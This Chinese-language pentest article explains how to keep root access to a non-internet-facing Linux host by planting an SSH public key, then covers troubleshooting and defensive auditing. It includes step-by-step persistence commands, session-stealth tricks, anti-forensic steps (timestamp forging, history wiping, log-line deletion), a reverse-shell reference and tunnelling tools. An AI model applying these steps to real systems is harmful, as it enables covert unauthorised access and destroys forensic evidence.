SSH公钥登录实战:从原理到应急响应与权限维持

SSH公钥登录实战:从原理到应急响应与权限维持 1. 从应急响应到持久化一次特殊的SSH公钥登录实战复盘那天晚上我正在复盘一个已经归档的渗透测试项目突然想起一个挺有意思的细节。当时我们通过一个Web应用的RCE漏洞拿到了目标Linux服务器的低权限shell一番提权操作后最终站上了root的位置。但问题来了目标机器不出网我们拿到的密码哈希在彩虹表里跑了一天一夜也没结果常规的反弹shell因为网络策略限制也走不通。眼看入口就要因为应用重启而丢失团队里一位老师傅轻描淡写地说“试试给它种个公钥吧以后想什么时候进就什么时候进。” 这个操作后来成了我们内部应急响应和权限维持的经典案例之一尤其适合那种“只进不出”的内网核心主机。今天我就把这个从实战中沉淀下来的、利用SSH公钥实现无密码登录的完整流程、背后的原理以及无数个坑里总结出的经验掰开揉碎了讲给你听。无论你是安全工程师在做应急响应还是运维人员需要管理大量无外网访问的服务器这套方法都能让你在关键时刻多一个可靠的选择。2. 核心思路与场景深度解析为什么是公钥登录2.1 目标场景的精准画像首先我们必须明确这个方法适用的典型场景它绝不是SSH登录的常规用法而是特定困境下的“特种作战”方案。核心困境一认证凭证缺失。这是最直接的动因。你通过漏洞利用如RCE、反序列化或本地提权如脏牛、sudo滥用拿到了root权限的shell但/etc/shadow里的密码哈希强度很高短时间内无法破解。你无法得知明文密码也就无法通过su或ssh roothost加密码的方式建立一个新的、可靠的会话。核心困境二网络访问受限。目标服务器处于严格的内网环境防火墙策略禁止了所有向外的主动连接。这意味着你无法让目标机反向连接你的监听端口即反弹Shell因为出站流量被阻断。同样像nc、bash -i /dev/tcp/...这类反向Shell技巧全部失效。核心困境三需要持久化与稳定性。你获得的初始Shell可能不稳定例如通过Web漏洞注入的Shell随时可能因为进程终止、会话超时或应用重启而断开。你需要一个像“后门”一样稳定、隐蔽、随时可用的访问通道并且最好能绕过后续可能变更的密码。2.2 公钥认证原理一把钥匙开一把锁为什么公钥登录能解决上述问题这要从SSH的认证机制说起。SSH支持多种认证方式最常见的是密码认证和公钥认证。密码认证你告诉服务器“我是谁”用户名和“我的密码是什么”口令。服务器核对/etc/shadow中的哈希值匹配则放行。这需要你知道密码明文。公钥认证你向服务器证明你拥有某把“私钥”。这个过程涉及非对称加密密钥对你在本地使用ssh-keygen生成一对密钥一个私钥id_rsa必须严格保密一个公钥id_rsa.pub可以公开分发。信任建立你将公钥写入目标服务器对应用户家目录下的~/.ssh/authorized_keys文件中。这个操作相当于在服务器的锁芯里登记了你公钥这把“钥匙”的齿纹。挑战-响应当你连接时客户端声明“我想用密钥A登录”。服务器找到对应的公钥A生成一段随机字符挑战并用公钥A加密后发送给客户端。身份验证客户端必须用私钥A解密这段密文并将解密结果发回服务器。服务器验证结果正确即证明客户端拥有私钥A认证通过。整个过程私钥从未离开过你的机器服务器也无需知道你的私钥是什么。因此只要你能将公钥文件内容写入目标服务器的authorized_keys你就永久性地获得了无需密码的登录能力。这正是我们解决“无密码”和“需持久化”困境的密码学基础。2.3 方案优势与潜在风险权衡优势高稳定性一旦配置成功只要SSH服务正常运行、网络可达、公钥未被移除连接就100%可靠不受进程、会话中断影响。高隐蔽性在系统日志/var/log/auth.log或/var/log/secure中成功的公钥登录记录与正常管理登录无异没有特殊的失败尝试记录不易被基于暴力破解告警的监控发现。免交互非常适合脚本化、自动化运维或渗透测试后期的持久化控制。绕过密码变更即使目标系统管理员后续修改了root密码只要你的公钥还在你的访问权限就在。风险与注意事项操作痕迹修改sshd_config、重启sshd服务、在.ssh目录创建文件这些操作都会在文件系统上留下时间戳痕迹可能被取证工具发现。私钥泄露用于生成公钥的私钥是最高机密。如果私钥文件泄露等同于该服务器权限完全泄露。因此密钥的生成和管理必须谨慎。合规性问题在非授权环境中此行为属于非法入侵。本文仅从技术防御角度探讨用于理解攻击手法以加强防护或在获得明确授权的渗透测试、内部应急响应中使用。注意本文所有操作均假设在已获得合法授权的安全测试或自己完全掌控的内部服务器环境下进行。未经授权访问他人计算机系统是违法行为。3. 实战操作全流程拆解与精讲下面我们按照一次完整的操作流程分解每一个步骤并深入讲解其中的细节和“坑点”。3.1 步骤一目标主机SSH服务配置修改拿到root权限的Shell后第一件事是确保目标服务器的SSH服务允许公钥认证。操作命令echo RSAAuthentication yes /etc/ssh/sshd_config echo PubkeyAuthentication yes /etc/ssh/sshd_config systemctl restart sshd逐行精讲echo “RSAAuthentication yes” /etc/ssh/sshd_config作用启用RSA算法进行公钥认证。虽然较新的OpenSSH版本中PubkeyAuthentication已涵盖此功能但显式声明可以兼容更老版本的配置。细节是追加操作。如果配置文件中已存在RSAAuthentication行此命令会新增一行可能导致配置重复但通常无害。更稳妥的做法是使用sed进行替换但在应急的root shell下追加是最快最不容易出错的方式。echo “PubkeyAuthentication yes” /etc/ssh/sshd_config作用这是核心配置启用公钥认证方式。没有这一项后续所有操作都无效。细节同样使用追加。检查是否生效可以用grep -i “PubkeyAuthentication” /etc/ssh/sshd_config。systemctl restart sshd作用重启SSH服务使配置生效。避坑指南风险重启sshd服务会断开所有当前SSH连接如果你是通过一个不稳定的Web Shell执行此命令可能导致当前连接断开且新配置未生效前无法连接造成“搬起石头砸自己的脚”。建议操作在重启前先确保你有另一个并行的、可靠的连接通道比如已经存在的另一个SSH会话或者一个不会被重启影响的终端。如果没有一个更安全的方法是使用systemctl reload sshd它重新加载配置而不断开现有连接但并非所有系统都支持。最保险的做法是在修改配置后先在后台新开一个测试连接确认无误后再重启主服务。实操心得在修改任何核心服务配置前先进行备份cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak。使用sshd -T可以检查当前生效的配置在重启前验证配置是否正确解析。对于使用upstart或sysvinit的老系统重启命令可能是service ssh restart或/etc/init.d/ssh restart。3.2 步骤二本地生成SSH密钥对这是准备“钥匙”的阶段。你需要在你控制的一台机器上生成密钥对。操作命令ssh-keygen -t rsa -b 4096 -P “” -f ~/.ssh/id_rsa_target参数深度解析-t rsa指定密钥类型为RSA。虽然Ed25519更现代、更安全但RSA的兼容性最好几乎所有环境的SSH都支持。-b 4096指定密钥长度为4096位。这是当前推荐的安全长度2048位也已足够但4096位更能抵御未来的算力攻击。切勿使用默认的1024位。-P “”设置私钥的密码短语passphrase为空。这是关键决策点。为空私钥文件无需密码即可使用便于自动化脚本但一旦私钥文件泄露攻击者可直接使用。设置强密码每次使用私钥时需要输入密码安全性高但无法用于全自动流程。实战选择在渗透测试或应急场景下我们通常追求可用性会设置为空。但事后必须将私钥存储在绝对安全的地方如加密的密码管理器。-f ~/.ssh/id_rsa_target指定生成的密钥文件名。这里没有使用默认的id_rsa而是加了_target后缀。这是一个极其重要的好习惯。为什么你的~/.ssh/id_rsa可能是你登录其他重要服务器如公司跳板机、Git仓库的默认私钥。将其用于目标机器会在连接时暴露你的本地用户名和主机名密钥注释部分造成信息泄露。使用独立的密钥文件并在连接时通过-i参数指定可以隔离风险。命令执行后会生成两个文件~/.ssh/id_rsa_target私钥。权限自动设置为600-rw-------内容以-----BEGIN OPENSSH PRIVATE KEY-----开头。此文件等同于最高权限密码必须严防泄露。~/.ssh/id_rsa_target.pub公钥。内容是一长串以ssh-rsa AAAAB3...开头的文本末尾通常有userhostname的注释。这个注释可以修改不影响功能。关键注意事项生成环境务必在你信任的、干净的机器上生成。避免在虚拟机快照、临时云主机等可能被他人恢复或检查的环境中操作。权限检查确保~/.ssh目录权限为700drwx------公钥文件权限为644私钥为600。权限错误会导致SSH客户端出于安全考虑拒绝使用密钥。3.3 步骤三将公钥植入目标主机这是将“钥匙齿纹”登记到目标服务器“锁芯”的过程。你需要把上一步生成的id_rsa_target.pub文件的内容写入目标机root用户的authorized_keys文件。方法一直接命令写入最常用假设你已经将公钥内容复制到了剪贴板或者可以通过不稳定的Shell执行echo命令。# 1. 确保.ssh目录存在权限正确 mkdir -p /root/.ssh chmod 700 /root/.ssh # 2. 将公钥内容追加到authorized_keys文件 echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8Zrks74SYQ4JzKFvYPyL2tGScx/y/gIDk5znJF6XKjJ2MFS7RfsjKqpRk7bbbDpgb5awiMzMOUgwBDheJKerji9/FDjHEI133ejCZphiPL0OItLdl7uUtNFMMPNeXh9lmDOwApxVg54xhDjyzWYaV6xQgvWuZK6qNBD1TW2/zXImeHpCL37KQSgFvtxyOiYw/Uq/Caoa9VkcFsUsJ1ftmKSh7unkEJiJAHpzmI0SquNdrgTJ5AiVclQbTa8viylirXYjUyvxWKCqBhMhuQQFEMRdViVStgSRoVREEH361J7T7oCC0rJE2XV8MlejXZGi7if34gYHYgyBKvEQ9/FffkQV5LXdZLkC0h3wOBLV9lWwMamlFSjJMTSBlZP1syHYV/X1YNO76SmLUUi48PwDQa52g0tI2TusDmjgARWxwhCndu463dwbCcGjfHnSEAWEB2WGJcKOcpfGLUrdDt9My/d26dfMTNdlawkdnDVlYvk0qnyBBZhyfE generated-key” /root/.ssh/authorized_keys # 3. 修正authorized_keys文件权限 chmod 600 /root/.ssh/authorized_keys重要细节mkdir -p如果目录不存在则创建存在则不报错。chmod 700 /root/.sshSSH协议严格要求.ssh目录权限必须是700所有者完全控制组和其他用户无任何权限否则会因安全原因拒绝公钥认证。echo … 使用追加避免覆盖文件中可能已存在的其他授权公钥。chmod 600 /root/.ssh/authorized_keys该文件权限必须是600或更严格同样是为了满足SSH的安全要求。方法二通过SCP/SFTP上传当有稳定连接时如果你已经有一个可用的SSH会话即使是用密码登录的可以更方便地上传。# 从本地机器操作将公钥文件上传到目标机 scp -P 22 ~/.ssh/id_rsa_target.pub roottarget_ip:/tmp/my_key.pub # 然后在目标机的Shell中执行 mkdir -p /root/.ssh cat /tmp/my_key.pub /root/.ssh/authorized_keys chmod 700 /root/.ssh chmod 600 /root/.ssh/authorized_keys rm /tmp/my_key.pub # 清理临时文件备份与审计意识在追加公钥前强烈建议备份原有的authorized_keys文件cp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak.$(date %Y%m%d_%H%M%S)这样如果操作失误或后续需要清理痕迹你可以轻松恢复原状。同时查看一下原文件内容cat /root/.ssh/authorized_keys可以了解是否有其他管理员已经配置了公钥做到心中有数。3.4 步骤四进行无密码登录测试配置完成后从你的本地机器发起连接测试。基础连接命令ssh -i ~/.ssh/id_rsa_target roottarget_ip-i ~/.ssh/id_rsa_target指定使用的私钥文件路径。这是使用非默认密钥的关键。如果一切配置正确你将直接获得root的Shell无需输入密码。进阶用法与参数解释原文中提到了一个命令ssh -T root192.168.1.1 /usr/bin/bash -i-T禁用伪终端pty分配。这意味着这次连接不会分配一个完整的交互式终端。通常用于执行单条非交互命令。/usr/bin/bash -i作为远程命令执行。-i参数使bash以交互模式启动。这个组合的妙用它创建了一个交互式的bash会话但没有分配完整的pty。在某些严格的监控环境下缺少$TERM环境变量或特定的终端类型可能使会话看起来更像一个自动化脚本任务而非人工登录从而降低被关注的风险。但它的副作用是一些需要完整终端的程序如vim,top可能无法正常工作。更稳健的测试命令我推荐ssh -i ~/.ssh/id_rsa_target -o “StrictHostKeyCheckingno” -o “ConnectTimeout10” roottarget_ip “whoami hostname”-o “StrictHostKeyCheckingno”首次连接时自动接受新的主机密钥避免交互式提示“Are you sure you want to continue connecting? (yes/no)”便于脚本化。-o “ConnectTimeout10”设置连接超时为10秒。“whoami hostname”连接后执行两条简单命令并退出。这既能验证登录成功输出root又能确认连接到正确的主机还不会留下一个长期空闲的会话。3.5 步骤五利用SCP进行无密码文件传输公钥登录一旦建立所有基于SSH的工具如SCP、SFTP、Rsync over SSH都能享受无密码的便利。从本地上传文件到目标机scp -i ~/.ssh/id_rsa_target -P 22 -r /local/path/to/file_or_dir roottarget_ip:/remote/path/-i指定私钥同上。-P 22指定SSH端口默认22如果目标机修改了端口则需对应更改。-r递归复制整个目录。从目标机下载文件到本地scp -i ~/.ssh/id_rsa_target -P 22 roottarget_ip:/remote/path/to/file /local/path/实操心得SCP与Rsync的选择scp简单直接适合传输单个文件或小目录。rsync功能更强大支持增量同步、断点续传、更详细的进度和权限保持。在需要同步大量文件或经常更新时是更好的选择。rsync -avz -e “ssh -i ~/.ssh/id_rsa_target” /local/path/ roottarget_ip:/remote/path/-a归档模式-vverbose-z压缩传输-e指定远程shell。4. 高阶技巧、隐蔽性与痕迹清理一个合格的实战者不仅要会“攻”还要会“藏”和“清”。公钥登录虽然稳定但留下的操作痕迹需要妥善处理。4.1 密钥的隐蔽化处理修改公钥注释生成密钥时默认注释是userhostname这会泄露你的本地信息。可以在生成时指定也可以事后修改公钥文件。直接编辑id_rsa_target.pub文件将末尾的userhostname改为一个不起眼的字符串如internal-admin或一个随机ID。使用非标准端口如果条件允许修改目标机的SSH服务端口/etc/ssh/sshd_config中的Port项可以绕过一些针对22端口的简单扫描和封锁。限制来源IP在authorized_keys文件中可以在公钥行前面加上from”1.2.3.4″来限制只有特定IP可以使用该密钥登录。但在渗透场景下攻击者IP不固定此方法不适用。防御方则可以利用此特性加强安全。4.2 操作痕迹的清理仅供防御方了解了解攻击者如何清理痕迹才能更好地进行溯源和取证。文件时间戳atime, mtime, ctimetouch命令可以修改文件的访问和修改时间但改变时间ctime无法被普通用户直接修改。高级攻击者可能会将备份的原始文件覆盖回来或者使用/usr/bin/touch -r reference_file target_file将目标文件的时间戳设置为与参考文件一致如/bin/ls。历史命令root用户执行的命令会记录在~/.bash_history中。清理方法是history -c清空当前会话历史然后rm -f ~/.bash_history删除历史文件或者直接unset HISTFILE禁用当前会话的历史记录再执行敏感操作。系统日志SSH的登录、认证日志通常在/var/log/auth.logDebian/Ubuntu或/var/log/secureRHEL/CentOS。需要root权限才能修改或删除。直接删除日志文件非常可疑。更隐蔽的做法是使用sed等工具删除包含特定IP或密钥指纹的日志行但这需要较高的权限和对日志格式的精确了解。wtmp/utmp日志记录当前登录用户。可用/usr/bin/utmpdump工具查看和编辑但操作复杂且风险高。重要声明痕迹清理在真实攻击中属于恶意行为会破坏取证证据。作为防御者和安全研究人员我们的重点是发现这些痕迹而不是练习清理。加固系统确保日志发送到远程的、只追加的日志服务器如ELK Stack是应对此类持久化攻击的根本方法。4.3 防御措施如何发现和清除非法公钥作为系统管理员应定期审计授权密钥文件并采取主动防御。定期检查# 检查所有用户家目录下的authorized_keys文件 find /home /root -name “.ssh” -type d 2/dev/null | xargs -I {} find {} -name “authorized_keys” -type f 2/dev/null # 查看root的授权密钥 cat /root/.ssh/authorized_keys # 查看所有用户的授权密钥 for user in $(getent passwd | cut -d: -f1); do if [ -f “/home/$user/.ssh/authorized_keys” ]; then echo “ $user “; cat “/home/$user/.ssh/authorized_keys”; fi; done使用工具监控部署文件完整性监控FIM工具如AIDE、Tripwire或Osquery监控/root/.ssh/authorized_keys、/etc/ssh/sshd_config等关键文件的任何更改。强化SSH配置在/etc/ssh/sshd_config中设置PermitRootLogin prohibit-password或PermitRootLogin no如果不需要root直接登录。使用AllowUsers或AllowGroups限制可以登录的用户。禁用密码认证强制使用公钥认证PasswordAuthentication no。这能从根本上杜绝密码爆破但要求你提前部署好自己的公钥。使用Fail2ban等工具防御暴力破解。清除非法密钥一旦发现可疑公钥立即从对应的authorized_keys文件中删除该行并调查入侵途径。5. 常见问题排查与实战案例复盘即使按照步骤操作也可能会遇到连接失败的情况。下面是一个快速排查清单。5.1 连接失败排查表问题现象可能原因检查命令/解决方案Permission denied (publickey).1. 公钥未成功写入authorized_keys。2.authorized_keys或.ssh目录权限不对。3.sshd_config中PubkeyAuthentication未设为yes。4. 使用了错误的私钥或用户。1.cat /root/.ssh/authorized_keys确认公钥存在且完整。2.ls -la /root/.ssh/确认目录700文件600。3.grep -i PubkeyAuthentication /etc/ssh/sshd_config。4. 检查ssh -i指定的私钥路径和登录用户名。Connection refused或Network is unreachable1. SSH服务未运行或端口不对。2. 防火墙/网络策略阻止。1.systemctl status sshdnetstat -tlnp | grep :22。2. 检查本地与目标机之间的网络连通性。Agent admitted failure to sign using the key.SSH代理ssh-agent未加载该私钥或加载失败。1. 使用ssh-add ~/.ssh/id_rsa_target添加密钥到代理。2. 或直接使用ssh -i指定绕过代理。登录后立即断开1. 目标机shell配置问题如.bashrc,.profile中有exit。2. 使用的-T参数导致环境不完整。1. 尝试ssh -i key userhost /bin/sh使用更简单的shell。2. 检查目标机对应用户的shell配置文件。SCP传输失败除了上述SSH问题还可能因为磁盘空间不足、权限不足等。1.df -h检查目标磁盘空间。2. 检查目标路径的写入权限。5.2 一个真实的踩坑案例权限的“魔鬼细节”在一次内部演练中我严格按照流程操作但公钥登录始终失败报Permission denied。排查了所有配置都正确。最后我无意中执行了ls -la /root发现/root目录的权限竟然是drwxr-xr-x755。问题就出在这里SSH协议在公钥认证时会进行一系列严格的权限检查以防止私钥文件被其他用户窥探。其中一条就是用户家目录/root、.ssh目录以及authorized_keys文件组和其他用户都不能有写权限w。/root目录的755权限意味着其他用户有读和执行权限这虽然比写权限好但在某些极其严格的SSH配置或版本下仍然可能被拒绝。解决方案chmod 700 /root将/root目录权限改为700后公钥登录立即成功。经验教训SSH的公钥认证对文件权限敏感到了“苛刻”的地步。在部署时务必确保整个路径上的权限都符合要求用户家目录700(drwx------).ssh目录700(drwx------)authorized_keys文件600(-rw-------)id_rsa私钥在本地600(-rw-------)5.3 关于不出网机器的思考延伸原文场景是“机器无法正常出网”。除了用本文的正向公钥登录还有其他思路吗有的这考验的是对网络协议的深入理解。端口复用如果目标机上有正在监听的Web服务80/443可以尝试利用HTTP/HTTPS隧道工具如reGeorg,Neo-reGeorg将流量封装在HTTP协议中绕过防火墙对非标准端口的限制。但这需要Web服务器支持特定技术如PHP、JSP。DNS隧道防火墙通常不会完全封锁DNS查询。可以利用iodine,dnscat2等工具将TCP流量编码到DNS查询和响应中建立隐蔽通道。这速度较慢但隐蔽性极高。ICMP隧道类似DNS隧道使用ptunnel等工具将数据封装在ICMP Echo请求和回复即ping包中。在一些允许ICMP通行的环境中有效。寻找出站代理内网机器可能无法直接出网但也许能访问某个内部代理服务器。可以尝试查找环境变量env | grep -i proxy、配置文件或扫描内网开放的代理端口如3128, 8080。公钥登录实际上是这些复杂隧道技术失败或不便时最直接、最稳定的一种“锚定”技术。它不依赖于持续的网络穿透一旦建立就提供了一个随时可用的、高质量的访问入口。